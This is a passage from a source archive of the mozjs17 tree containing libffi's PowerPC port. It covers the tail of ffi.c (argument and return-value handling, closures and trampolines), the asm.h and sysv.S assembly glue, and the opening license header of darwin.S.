parm save area and general registers. */ bytes += 2 * NUM_GPR_ARG_REGISTERS64 * sizeof (long); } /* Return value handling. The rules for SYSV are as follows: - 32-bit (or less) integer values are returned in gpr3; - Structures of size <= 4 bytes also returned in gpr3; - 64-bit integer values and structures between 5 and 8 bytes are returned in gpr3 and gpr4; - Single/double FP values are returned in fpr1; - Larger structures are allocated space and a pointer is passed as the first argument. - long doubles (if not equivalent to double) are returned in fpr1,fpr2 for Linux and as for large structs for SysV. For LINUX64: - integer values in gpr3; - Structures/Unions by reference; - Single/double FP values in fpr1, long double in fpr1,fpr2. - soft-float float/doubles are treated as UINT32/UINT64 respectivley. - soft-float long doubles are returned in gpr3-gpr6. */ switch (type) { #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if (cif->abi != FFI_LINUX && cif->abi != FFI_LINUX64 && cif->abi != FFI_LINUX_SOFT_FLOAT) goto byref; flags |= FLAG_RETURNS_128BITS; /* Fall through. */ #endif case FFI_TYPE_DOUBLE: flags |= FLAG_RETURNS_64BITS; /* Fall through. */ case FFI_TYPE_FLOAT: /* With FFI_LINUX_SOFT_FLOAT no fp registers are used. */ if (cif->abi != FFI_LINUX_SOFT_FLOAT) flags |= FLAG_RETURNS_FP; break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: flags |= FLAG_RETURNS_64BITS; break; case FFI_TYPE_STRUCT: if (cif->abi == FFI_SYSV) { /* The final SYSV ABI says that structures smaller or equal 8 bytes are returned in r3/r4. The FFI_GCC_SYSV ABI instead returns them in memory. */ /* Treat structs with size <= 8 bytes. */ if (size <= 8) { flags |= FLAG_RETURNS_SMST; /* These structs are returned in r3. We pack the type and the precalculated shift value (needed in the sysv.S) into flags. The same applies for the structs returned in r3/r4. */ if (size <= 4) { flags |= FLAG_SYSV_SMST_R3; flags |= 8 * (4 - size) << 8; break; } /* These structs are returned in r3 and r4. See above. */ if (size <= 8) { flags |= FLAG_SYSV_SMST_R3 | FLAG_SYSV_SMST_R4; flags |= 8 * (8 - size) << 8; break; } } } #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE byref: #endif intarg_count++; flags |= FLAG_RETVAL_REFERENCE; /* Fall through. */ case FFI_TYPE_VOID: flags |= FLAG_RETURNS_NOTHING; break; default: /* Returns 32-bit integer, or similar. Nothing to do here. */ break; } if (cif->abi != FFI_LINUX64) /* The first NUM_GPR_ARG_REGISTERS words of integer arguments, and the first NUM_FPR_ARG_REGISTERS fp arguments, go in registers; the rest goes on the stack. Structures and long doubles (if not equivalent to double) are passed as a pointer to a copy of the structure. Stuff on the stack needs to keep proper alignment. */ for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { switch ((*ptr)->type) { case FFI_TYPE_FLOAT: /* With FFI_LINUX_SOFT_FLOAT floats are handled like UINT32. */ if (cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_float_cif; fparg_count++; /* floating singles are not 8-aligned on stack */ break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if (cif->abi != FFI_LINUX && cif->abi != FFI_LINUX_SOFT_FLOAT) goto do_struct; if (cif->abi == FFI_LINUX_SOFT_FLOAT) { if (intarg_count >= NUM_GPR_ARG_REGISTERS - 3 || intarg_count < NUM_GPR_ARG_REGISTERS) /* A long double in FFI_LINUX_SOFT_FLOAT can use only a set of four consecutive gprs. If we have not enough, we have to adjust the intarg_count value. */ intarg_count += NUM_GPR_ARG_REGISTERS - intarg_count; intarg_count += 4; break; } else fparg_count++; /* Fall thru */ #endif case FFI_TYPE_DOUBLE: /* With FFI_LINUX_SOFT_FLOAT doubles are handled like UINT64. */ if (cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_double_cif; fparg_count++; /* If this FP arg is going on the stack, it must be 8-byte-aligned. */ if (fparg_count > NUM_FPR_ARG_REGISTERS && intarg_count >= NUM_GPR_ARG_REGISTERS && intarg_count % 2 != 0) intarg_count++; break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: soft_double_cif: /* 'long long' arguments are passed as two words, but either both words must fit in registers or both go on the stack. If they go on the stack, they must be 8-byte-aligned. Also, only certain register pairs can be used for passing long long int -- specifically (r3,r4), (r5,r6), (r7,r8), (r9,r10). */ if (intarg_count == NUM_GPR_ARG_REGISTERS-1 || intarg_count % 2 != 0) intarg_count++; intarg_count += 2; break; case FFI_TYPE_STRUCT: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE do_struct: #endif /* We must allocate space for a copy of these to enforce pass-by-value. Pad the space up to a multiple of 16 bytes (the maximum alignment required for anything under the SYSV ABI). */ struct_copy_size += ((*ptr)->size + 15) & ~0xF; /* Fall through (allocate space for the pointer). */ default: soft_float_cif: /* Everything else is passed as a 4-byte word in a GPR, either the object itself or a pointer to it. */ intarg_count++; break; } } else for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { switch ((*ptr)->type) { #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if (cif->abi == FFI_LINUX_SOFT_FLOAT) intarg_count += 4; else { fparg_count += 2; intarg_count += 2; } break; #endif case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: fparg_count++; intarg_count++; break; case FFI_TYPE_STRUCT: intarg_count += ((*ptr)->size + 7) / 8; break; default: /* Everything else is passed as a 8-byte word in a GPR, either the object itself or a pointer to it. */ intarg_count++; break; } } if (fparg_count != 0) flags |= FLAG_FP_ARGUMENTS; if (intarg_count > 4) flags |= FLAG_4_GPR_ARGUMENTS; if (struct_copy_size != 0) flags |= FLAG_ARG_NEEDS_COPY; if (cif->abi != FFI_LINUX64) { /* Space for the FPR registers, if needed. */ if (fparg_count != 0) bytes += NUM_FPR_ARG_REGISTERS * sizeof (double); /* Stack space. */ if (intarg_count > NUM_GPR_ARG_REGISTERS) bytes += (intarg_count - NUM_GPR_ARG_REGISTERS) * sizeof (int); if (fparg_count > NUM_FPR_ARG_REGISTERS) bytes += (fparg_count - NUM_FPR_ARG_REGISTERS) * sizeof (double); } else { /* Space for the FPR registers, if needed. */ if (fparg_count != 0) bytes += NUM_FPR_ARG_REGISTERS64 * sizeof (double); /* Stack space. */ if (intarg_count > NUM_GPR_ARG_REGISTERS64) bytes += (intarg_count - NUM_GPR_ARG_REGISTERS64) * sizeof (long); } /* The stack space allocated needs to be a multiple of 16 bytes. */ bytes = (bytes + 15) & ~0xF; /* Add in the space for the copied structures. */ bytes += struct_copy_size; cif->flags = flags; cif->bytes = bytes; return FFI_OK; } extern void ffi_call_SYSV(extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); extern void FFI_HIDDEN ffi_call_LINUX64(extended_cif *, unsigned long, unsigned long, unsigned long *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { #ifndef POWERPC64 case FFI_SYSV: case FFI_GCC_SYSV: case FFI_LINUX: case FFI_LINUX_SOFT_FLOAT: ffi_call_SYSV (&ecif, -cif->bytes, cif->flags, ecif.rvalue, fn); break; #else case FFI_LINUX64: ffi_call_LINUX64 (&ecif, -(long) cif->bytes, cif->flags, ecif.rvalue, fn); break; #endif default: FFI_ASSERT (0); break; } } #ifndef POWERPC64 #define MIN_CACHE_LINE_SIZE 8 static void flush_icache (char *wraddr, char *xaddr, int size) { int i; for (i = 0; i < size; i += MIN_CACHE_LINE_SIZE) __asm__ volatile ("icbi 0,%0;" "dcbf 0,%1;" : : "r" (xaddr + i), "r" (wraddr + i) : "memory"); __asm__ volatile ("icbi 0,%0;" "dcbf 0,%1;" "sync;" "isync;" : : "r"(xaddr + size - 1), "r"(wraddr + size - 1) : "memory"); } #endif ffi_status ffi_prep_closure_loc (ffi_closure *closure, ffi_cif *cif, void (*fun) (ffi_cif *, void *, void **, void *), void *user_data, void *codeloc) { #ifdef POWERPC64 void **tramp = (void **) &closure->tramp[0]; FFI_ASSERT (cif->abi == FFI_LINUX64); /* Copy function address and TOC from ffi_closure_LINUX64. */ memcpy (tramp, (char *) ffi_closure_LINUX64, 16); tramp[2] = codeloc; #else unsigned int *tramp; FFI_ASSERT (cif->abi == FFI_GCC_SYSV || cif->abi == FFI_SYSV); tramp = (unsigned int *) &closure->tramp[0]; tramp[0] = 0x7c0802a6; /* mflr r0 */ tramp[1] = 0x4800000d; /* bl 10 */ tramp[4] = 0x7d6802a6; /* mflr r11 */ tramp[5] = 0x7c0803a6; /* mtlr r0 */ tramp[6] = 0x800b0000; /* lwz r0,0(r11) */ tramp[7] = 0x816b0004; /* lwz r11,4(r11) */ tramp[8] = 0x7c0903a6; /* mtctr r0 */ tramp[9] = 0x4e800420; /* bctr */ *(void **) &tramp[2] = (void *) ffi_closure_SYSV; /* function */ *(void **) &tramp[3] = codeloc; /* context */ /* Flush the icache. */ flush_icache ((char *)tramp, (char *)codeloc, FFI_TRAMPOLINE_SIZE); #endif closure->cif = cif; closure->fun = fun; closure->user_data = user_data; return FFI_OK; } typedef union { float f; double d; } ffi_dblfl; int ffi_closure_helper_SYSV (ffi_closure *, void *, unsigned long *, ffi_dblfl *, unsigned long *); /* Basically the trampoline invokes ffi_closure_SYSV, and on * entry, r11 holds the address of the closure. * After storing the registers that could possibly contain * parameters to be passed into the stack frame and setting * up space for a return value, ffi_closure_SYSV invokes the * following helper function to do most of the work */ int ffi_closure_helper_SYSV (ffi_closure *closure, void *rvalue, unsigned long *pgr, ffi_dblfl *pfr, unsigned long *pst) { /* rvalue is the pointer to space for return value in closure assembly */ /* pgr is the pointer to where r3-r10 are stored in ffi_closure_SYSV */ /* pfr is the pointer to where f1-f8 are stored in ffi_closure_SYSV */ /* pst is the pointer to outgoing parameter stack in original caller */ void ** avalue; ffi_type ** arg_types; long i, avn; long nf; /* number of floating registers already used */ long ng; /* number of general registers already used */ ffi_cif * cif; double temp; unsigned size; cif = closure->cif; avalue = alloca (cif->nargs * sizeof (void *)); size = cif->rtype->size; nf = 0; ng = 0; /* Copy the caller's structure return value address so that the closure returns the data directly to the caller. For FFI_SYSV the result is passed in r3/r4 if the struct size is less or equal 8 bytes. */ if ((cif->rtype->type == FFI_TYPE_STRUCT && !((cif->abi == FFI_SYSV) && (size <= 8))) #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE || (cif->rtype->type == FFI_TYPE_LONGDOUBLE && cif->abi != FFI_LINUX && cif->abi != FFI_LINUX_SOFT_FLOAT) #endif ) { rvalue = (void *) *pgr; ng++; pgr++; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; /* Grab the addresses of the arguments from the stack frame. */ while (i < avn) { switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: /* there are 8 gpr registers used to pass values */ if (ng < 8) { avalue[i] = (char *) pgr + 3; ng++; pgr++; } else { avalue[i] = (char *) pst + 3; pst++; } break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: /* there are 8 gpr registers used to pass values */ if (ng < 8) { avalue[i] = (char *) pgr + 2; ng++; pgr++; } else { avalue[i] = (char *) pst + 2; pst++; } break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_POINTER: soft_float_closure: /* there are 8 gpr registers used to pass values */ if (ng < 8) { avalue[i] = pgr; ng++; pgr++; } else { avalue[i] = pst; pst++; } break; case FFI_TYPE_STRUCT: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE do_struct: #endif /* Structs are passed by reference. The address will appear in a gpr if it is one of the first 8 arguments. */ if (ng < 8) { avalue[i] = (void *) *pgr; ng++; pgr++; } else { avalue[i] = (void *) *pst; pst++; } break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: soft_double_closure: /* passing long long ints are complex, they must * be passed in suitable register pairs such as * (r3,r4) or (r5,r6) or (r6,r7), or (r7,r8) or (r9,r10) * and if the entire pair aren't available then the outgoing * parameter stack is used for both but an alignment of 8 * must will be kept. So we must either look in pgr * or pst to find the correct address for this type * of parameter. */ if (ng < 7) { if (ng & 0x01) { /* skip r4, r6, r8 as starting points */ ng++; pgr++; } avalue[i] = pgr; ng += 2; pgr += 2; } else { if (((long) pst) & 4) pst++; avalue[i] = pst; pst += 2; ng = 8; } break; case FFI_TYPE_FLOAT: /* With FFI_LINUX_SOFT_FLOAT floats are handled like UINT32. */ if (cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_float_closure; /* unfortunately float values are stored as doubles * in the ffi_closure_SYSV code (since we don't check * the type in that routine). */ /* there are 8 64bit floating point registers */ if (nf < 8) { temp = pfr->d; pfr->f = (float) temp; avalue[i] = pfr; nf++; pfr++; } else { /* FIXME? here we are really changing the values * stored in the original calling routines outgoing * parameter stack. This is probably a really * naughty thing to do but... */ avalue[i] = pst; pst += 1; } break; case FFI_TYPE_DOUBLE: /* With FFI_LINUX_SOFT_FLOAT doubles are handled like UINT64. */ if (cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_double_closure; /* On the outgoing stack all values are aligned to 8 */ /* there are 8 64bit floating point registers */ if (nf < 8) { avalue[i] = pfr; nf++; pfr++; } else { if (((long) pst) & 4) pst++; avalue[i] = pst; pst += 2; } break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if (cif->abi != FFI_LINUX && cif->abi != FFI_LINUX_SOFT_FLOAT) goto do_struct; if (cif->abi == FFI_LINUX_SOFT_FLOAT) { /* Test if for the whole long double, 4 gprs are available. otherwise the stuff ends up on the stack. */ if (ng < 5) { avalue[i] = pgr; pgr += 4; ng += 4; } else { avalue[i] = pst; pst += 4; ng = 8; } break; } if (nf < 7) { avalue[i] = pfr; pfr += 2; nf += 2; } else { if (((long) pst) & 4) pst++; avalue[i] = pst; pst += 4; nf = 8; } break; #endif default: FFI_ASSERT (0); } i++; } (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_SYSV how to perform return type promotions. Because the FFI_SYSV ABI returns the structures <= 8 bytes in r3/r4 we have to tell ffi_closure_SYSV how to treat them. We combine the base type FFI_SYSV_TYPE_SMALL_STRUCT - 1 with the size of the struct. So a one byte struct gets the return type 16. Return type 1 to 15 are already used and we never have a struct with size zero. That is the reason for the subtraction of 1. See the comment in ffitarget.h about ordering. */ if (cif->abi == FFI_SYSV && cif->rtype->type == FFI_TYPE_STRUCT && size <= 8) return (FFI_SYSV_TYPE_SMALL_STRUCT - 1) + size; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE else if (cif->rtype->type == FFI_TYPE_LONGDOUBLE && cif->abi != FFI_LINUX && cif->abi != FFI_LINUX_SOFT_FLOAT) return FFI_TYPE_STRUCT; #endif /* With FFI_LINUX_SOFT_FLOAT floats and doubles are handled like UINT32 respectivley UINT64. */ if (cif->abi == FFI_LINUX_SOFT_FLOAT) { switch (cif->rtype->type) { case FFI_TYPE_FLOAT: return FFI_TYPE_UINT32; break; case FFI_TYPE_DOUBLE: return FFI_TYPE_UINT64; break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: return FFI_TYPE_UINT128; break; #endif default: return cif->rtype->type; } } else { return cif->rtype->type; } } int FFI_HIDDEN ffi_closure_helper_LINUX64 (ffi_closure *, void *, unsigned long *, ffi_dblfl *); int FFI_HIDDEN ffi_closure_helper_LINUX64 (ffi_closure *closure, void *rvalue, unsigned long *pst, ffi_dblfl *pfr) { /* rvalue is the pointer to space for return value in closure assembly */ /* pst is the pointer to parameter save area (r3-r10 are stored into its first 8 slots by ffi_closure_LINUX64) */ /* pfr is the pointer to where f1-f13 are stored in ffi_closure_LINUX64 */ void **avalue; ffi_type **arg_types; long i, avn; ffi_cif *cif; ffi_dblfl *end_pfr = pfr + NUM_FPR_ARG_REGISTERS64; cif = closure->cif; avalue = alloca (cif->nargs * sizeof (void *)); /* Copy the caller's structure return value address so that the closure returns the data directly to the caller. */ if (cif->rtype->type == FFI_TYPE_STRUCT) { rvalue = (void *) *pst; pst++; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; /* Grab the addresses of the arguments from the stack frame. */ while (i < avn) { switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = (char *) pst + 7; pst++; break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = (char *) pst + 6; pst++; break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: avalue[i] = (char *) pst + 4; pst++; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: case FFI_TYPE_POINTER: avalue[i] = pst; pst++; break; case FFI_TYPE_STRUCT: /* Structures with size less than eight bytes are passed left-padded. */ if (arg_types[i]->size < 8) avalue[i] = (char *) pst + 8 - arg_types[i]->size; else avalue[i] = pst; pst += (arg_types[i]->size + 7) / 8; break; case FFI_TYPE_FLOAT: /* unfortunately float values are stored as doubles * in the ffi_closure_LINUX64 code (since we don't check * the type in that routine). */ /* there are 13 64bit floating point registers */ if (pfr < end_pfr) { double temp = pfr->d; pfr->f = (float) temp; avalue[i] = pfr; pfr++; } else avalue[i] = pst; pst++; break; case FFI_TYPE_DOUBLE: /* On the outgoing stack all values are aligned to 8 */ /* there are 13 64bit floating point registers */ if (pfr < end_pfr) { avalue[i] = pfr; pfr++; } else avalue[i] = pst; pst++; break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if (pfr + 1 < end_pfr) { avalue[i] = pfr; pfr += 2; } else { if (pfr < end_pfr) { /* Passed partly in f13 and partly on the stack. Move it all to the stack. */ *pst = *(unsigned long *) pfr; pfr++; } avalue[i] = pst; } pst += 2; break; #endif default: FFI_ASSERT (0); } i++; } (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_LINUX64 how to perform return type promotions. */ return cif->rtype->type; } mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/asm.h0000664000175000017500000001032612106270662021746 0ustar sstanglsstangl/* ----------------------------------------------------------------------- asm.h - Copyright (c) 1998 Geoffrey Keating PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define ASM_GLOBAL_DIRECTIVE .globl #define C_SYMBOL_NAME(name) name /* Macro for a label. */ #ifdef __STDC__ #define C_LABEL(name) name##: #else #define C_LABEL(name) name/**/: #endif /* This seems to always be the case on PPC. */ #define ALIGNARG(log2) log2 /* For ELF we need the `.type' directive to make shared libs work right. */ #define ASM_TYPE_DIRECTIVE(name,typearg) .type name,typearg; #define ASM_SIZE_DIRECTIVE(name) .size name,.-name /* If compiled for profiling, call `_mcount' at the start of each function. */ #ifdef PROF /* The mcount code relies on a the return address being on the stack to locate our caller and so it can restore it; so store one just for its benefit. */ #ifdef PIC #define CALL_MCOUNT \ .pushsection; \ .section ".data"; \ .align ALIGNARG(2); \ 0:.long 0; \ .previous; \ mflr %r0; \ stw %r0,4(%r1); \ bl _GLOBAL_OFFSET_TABLE_@local-4; \ mflr %r11; \ lwz %r0,0b@got(%r11); \ bl JUMPTARGET(_mcount); #else /* PIC */ #define CALL_MCOUNT \ .section ".data"; \ .align ALIGNARG(2); \ 0:.long 0; \ .previous; \ mflr %r0; \ lis %r11,0b@ha; \ stw %r0,4(%r1); \ addi %r0,%r11,0b@l; \ bl JUMPTARGET(_mcount); #endif /* PIC */ #else /* PROF */ #define CALL_MCOUNT /* Do nothing. */ #endif /* PROF */ #define ENTRY(name) \ ASM_GLOBAL_DIRECTIVE C_SYMBOL_NAME(name); \ ASM_TYPE_DIRECTIVE (C_SYMBOL_NAME(name),@function) \ .align ALIGNARG(2); \ C_LABEL(name) \ CALL_MCOUNT #define EALIGN_W_0 /* No words to insert. */ #define EALIGN_W_1 nop #define EALIGN_W_2 nop;nop #define EALIGN_W_3 nop;nop;nop #define EALIGN_W_4 EALIGN_W_3;nop #define EALIGN_W_5 EALIGN_W_4;nop #define EALIGN_W_6 EALIGN_W_5;nop #define EALIGN_W_7 EALIGN_W_6;nop /* EALIGN is like ENTRY, but does alignment to 'words'*4 bytes past a 2^align boundary. */ #ifdef PROF #define EALIGN(name, alignt, words) \ ASM_GLOBAL_DIRECTIVE C_SYMBOL_NAME(name); \ ASM_TYPE_DIRECTIVE (C_SYMBOL_NAME(name),@function) \ .align ALIGNARG(2); \ C_LABEL(name) \ CALL_MCOUNT \ b 0f; \ .align ALIGNARG(alignt); \ EALIGN_W_##words; \ 0: #else /* PROF */ #define EALIGN(name, alignt, words) \ ASM_GLOBAL_DIRECTIVE C_SYMBOL_NAME(name); \ ASM_TYPE_DIRECTIVE (C_SYMBOL_NAME(name),@function) \ .align ALIGNARG(alignt); \ EALIGN_W_##words; \ C_LABEL(name) #endif #define END(name) \ ASM_SIZE_DIRECTIVE(name) #ifdef PIC #define JUMPTARGET(name) name##@plt #else #define JUMPTARGET(name) name #endif /* Local labels stripped out by the linker. */ #define L(x) .L##x mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/sysv.S0000664000175000017500000001465412106270662022155 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 1998 Geoffrey Keating Copyright (C) 2007 Free Software Foundation, Inc PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #include #ifndef __powerpc64__ .globl ffi_prep_args_SYSV ENTRY(ffi_call_SYSV) .LFB1: /* Save the old stack pointer as AP. */ mr %r8,%r1 .LCFI0: /* Allocate the stack space we need. */ stwux %r1,%r1,%r4 /* Save registers we use. */ mflr %r9 stw %r28,-16(%r8) .LCFI1: stw %r29,-12(%r8) .LCFI2: stw %r30, -8(%r8) .LCFI3: stw %r31, -4(%r8) .LCFI4: stw %r9, 4(%r8) .LCFI5: /* Save arguments over call... */ mr %r31,%r5 /* flags, */ mr %r30,%r6 /* rvalue, */ mr %r29,%r7 /* function address, */ mr %r28,%r8 /* our AP. */ .LCFI6: /* Call ffi_prep_args_SYSV. */ mr %r4,%r1 bl ffi_prep_args_SYSV@local /* Now do the call. */ /* Set up cr1 with bits 4-7 of the flags. */ mtcrf 0x40,%r31 /* Get the address to call into CTR. */ mtctr %r29 /* Load all those argument registers. */ lwz %r3,-16-(8*4)(%r28) lwz %r4,-16-(7*4)(%r28) lwz %r5,-16-(6*4)(%r28) lwz %r6,-16-(5*4)(%r28) bf- 5,1f nop lwz %r7,-16-(4*4)(%r28) lwz %r8,-16-(3*4)(%r28) lwz %r9,-16-(2*4)(%r28) lwz %r10,-16-(1*4)(%r28) nop 1: /* Load all the FP registers. */ bf- 6,2f lfd %f1,-16-(8*4)-(8*8)(%r28) lfd %f2,-16-(8*4)-(7*8)(%r28) lfd %f3,-16-(8*4)-(6*8)(%r28) lfd %f4,-16-(8*4)-(5*8)(%r28) nop lfd %f5,-16-(8*4)-(4*8)(%r28) lfd %f6,-16-(8*4)-(3*8)(%r28) lfd %f7,-16-(8*4)-(2*8)(%r28) lfd %f8,-16-(8*4)-(1*8)(%r28) 2: /* Make the call. */ bctrl /* Now, deal with the return value. */ mtcrf 0x01,%r31 /* cr7 */ bt- 31,L(small_struct_return_value) bt- 30,L(done_return_value) bt- 29,L(fp_return_value) stw %r3,0(%r30) bf+ 28,L(done_return_value) stw %r4,4(%r30) mtcrf 0x02,%r31 /* cr6 */ bf 27,L(done_return_value) stw %r5,8(%r30) stw %r6,12(%r30) /* Fall through... */ L(done_return_value): /* Restore the registers we used and return. */ lwz %r9, 4(%r28) lwz %r31, -4(%r28) mtlr %r9 lwz %r30, -8(%r28) lwz %r29,-12(%r28) lwz %r28,-16(%r28) lwz %r1,0(%r1) blr L(fp_return_value): bf 28,L(float_return_value) stfd %f1,0(%r30) mtcrf 0x02,%r31 /* cr6 */ bf 27,L(done_return_value) stfd %f2,8(%r30) b L(done_return_value) L(float_return_value): stfs %f1,0(%r30) b L(done_return_value) L(small_struct_return_value): extrwi %r6,%r31,2,19 /* number of bytes padding = shift/8 */ mtcrf 0x02,%r31 /* copy flags to cr[24:27] (cr6) */ extrwi %r5,%r31,5,19 /* r5 <- number of bits of padding */ subfic %r6,%r6,4 /* r6 <- number of useful bytes in r3 */ bf- 25,L(done_return_value) /* struct in r3 ? if not, done. */ /* smst_one_register: */ slw %r3,%r3,%r5 /* Left-justify value in r3 */ mtxer %r6 /* move byte count to XER ... */ stswx %r3,0,%r30 /* ... and store that many bytes */ bf+ 26,L(done_return_value) /* struct in r3:r4 ? */ add %r6,%r6,%r30 /* adjust pointer */ stswi %r4,%r6,4 /* store last four bytes */ b L(done_return_value) .LFE1: END(ffi_call_SYSV) .section ".eh_frame",EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 /* Length of Common Information Entry */ .LSCIE1: .4byte 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #if defined _RELOCATABLE || defined __PIC__ .ascii "zR\0" /* CIE Augmentation */ #else .ascii "\0" /* CIE Augmentation */ #endif .uleb128 0x1 /* CIE Code Alignment Factor */ .sleb128 -4 /* CIE Data Alignment Factor */ .byte 0x41 /* CIE RA Column */ #if defined _RELOCATABLE || defined __PIC__ .uleb128 0x1 /* Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel sdata4) */ #endif .byte 0xc /* DW_CFA_def_cfa */ .uleb128 0x1 .uleb128 0x0 .align 2 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .4byte .LASFDE1-.Lframe1 /* FDE CIE offset */ #if defined _RELOCATABLE || defined __PIC__ .4byte .LFB1-. /* FDE initial location */ #else .4byte .LFB1 /* FDE initial location */ #endif .4byte .LFE1-.LFB1 /* FDE address range */ #if defined _RELOCATABLE || defined __PIC__ .uleb128 0x0 /* Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI0-.LFB1 .byte 0xd /* DW_CFA_def_cfa_register */ .uleb128 0x08 .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI5-.LCFI0 .byte 0x11 /* DW_CFA_offset_extended_sf */ .uleb128 0x41 .sleb128 -1 .byte 0x9f /* DW_CFA_offset, column 0x1f */ .uleb128 0x1 .byte 0x9e /* DW_CFA_offset, column 0x1e */ .uleb128 0x2 .byte 0x9d /* DW_CFA_offset, column 0x1d */ .uleb128 0x3 .byte 0x9c /* DW_CFA_offset, column 0x1c */ .uleb128 0x4 .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI6-.LCFI5 .byte 0xd /* DW_CFA_def_cfa_register */ .uleb128 0x1c .align 2 .LEFDE1: #endif #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/darwin.S0000664000175000017500000001373012106270662022427 0ustar sstanglsstangl/* ----------------------------------------------------------------------- darwin.S - Copyright (c) 2000 John Hornkvist Copyright (c) 2004 Free Software Foundation, Inc. PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 